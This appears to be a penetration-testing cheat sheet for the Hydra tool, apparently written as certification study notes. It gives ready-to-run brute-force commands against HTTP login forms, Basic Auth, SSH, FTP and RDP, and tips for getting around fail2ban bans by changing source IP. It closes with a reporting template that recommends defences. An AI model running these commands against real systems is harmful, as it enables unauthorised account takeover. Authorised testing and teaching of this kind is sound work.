🛡️ Methodology Checklist
- Identify login form method (POST/GET) and parameters with Burp
- Note failure condition (text in response on bad login)
- HTTP POST form:
hydra -l [USER] -P [WORDLIST] [TARGET] http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid" - SSH:
hydra -L users.txt -P pass.txt ssh://[TARGET] - FTP:
hydra -l admin -P pass.txt ftp://[TARGET] - RDP:
hydra -L users.txt -P pass.txt rdp://[TARGET] - Check for account lockout before brute-forcing
🎯 Operational Context
Use when: Login form or service credential brute force — Hydra handles HTTP forms, SSH, FTP, SMB, RDP, and dozens of other protocols.
Think Dumber First: Test manually first — confirm the failure message string exactly. A wrong failure string means Hydra reports everything as valid or nothing at all. curl -d 'user=test&pass=test' http://[TARGET]/login and note the exact error text.
Skip when: Rate limiting or CAPTCHA blocks automated login — use targeted manual testing instead.
⚡ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
hydra -L [USERLIST] -P [PASSLIST] [TARGET_IP] ssh | SSH brute force with wordlists |
hydra -L [USERLIST] -P [PASSLIST] -s [PORT] -V [TARGET_IP] ftp | FTP on non-standard port (-V = verbose) |
hydra -l [USER] -p [PASS] -M [TARGETS] ssh | Multi-host with single credential pair |
hydra -L [USERLIST] -P [PASSLIST] -f [TARGET_IP] -s [PORT] http-post-form "[URI]:[PARAMS]:F=[FAIL_STRING]" | Web login form brute force |
hydra -l [USER] -P [PASSLIST] [TARGET_IP] http-get [DIR] -s [PORT] | Basic HTTP Auth brute force |
hydra -l administrator -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 [TARGET_IP] rdp | On-the-fly password generation for RDP |
echo "[BASE64]" | base64 -d | Decode captured Basic Auth header |
🔬 Deep Dive & Workflow
Flag Reference
| Flag | Meaning |
|---|---|
-L / -P | File path for userlist / passlist |
-l / -p | Single username / password string |
-f | Stop on first success (always use on CPTS) |
-t | Threads (default fast; use -t 4 if connections drop) |
-s | Non-standard port |
-V | Verbose — print every attempt |
-M | Multi-host target file |
-x min:max:charset | On-the-fly generation |
http-post-form Syntax
"[URI]:[param1]=^USER^&[param2]=^PASS^:F=[failure_string]"
^USER^and^PASS^= injection placeholdersF== failure string match (e.g.,F=Invalid credentials)S== success condition (e.g.,S=302for redirect,S=Welcome)
hydra -L users.txt -P passes.txt -f 10.10.10.5 -s 80 \
http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials"Basic HTTP Auth (Browser Pop-up)
Browser shows native pop-up (not HTML form) = Basic Auth = use http-get:
hydra -l basic-auth-user -P passwords.txt 127.0.0.1 http-get / -s 81Capture Authorization: Basic header in Burp → Base64 decode → reveals user:pass.
Common Pitfalls
- Never concatenate IP:port (
10.10.10.5:8080) — use-s 8080separately. Hydra tries to DNS-resolve the whole string. - http-post-form is finicky — triple-check: no extra spaces around colons in the format string
- CSRF tokens — Hydra static strings fail; need Burp Macros or custom Python script
- Service crashing — reduce to
-t 4or-t 1
🛠️ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| Hydra reports everything as valid | Wrong failure string | Check -f 'F=Invalid' — failure string must match exactly what server returns on bad login |
| Hydra reports no valid logins | Too strict failure match | Test manually; try grep on response body for partial match string |
| HTTP form brute misses CSRF | CSRF token required | Hydra cannot handle CSRF tokens — use Burp Intruder with macro or ffuf with CSRF extraction |
| SSH brute blocked by fail2ban | IP temporarily banned | Change source IP or reduce threads: -t 2; add delay: -W 3 (3 seconds between attempts) |
| Form POST params wrong | Parameter names incorrect | Capture request in Burp; copy exact POST body format: username=^USER^&password=^PASS^ |
📝 Reporting Trigger
Finding Title: Login Brute Force Successful — Credentials Compromised Impact: Successful brute force of web application login provides authenticated access, enabling further exploitation of authenticated-only functionality including data access, admin operations, and potential privilege escalation. Root Cause: No rate limiting, CAPTCHA, or account lockout implemented on login endpoint. Weak password susceptible to dictionary attack. Recommendation: Implement account lockout after 3-5 failed attempts. Add CAPTCHA for repeated failures. Implement rate limiting per IP and per account. Enable MFA. Alert on multiple failed login attempts.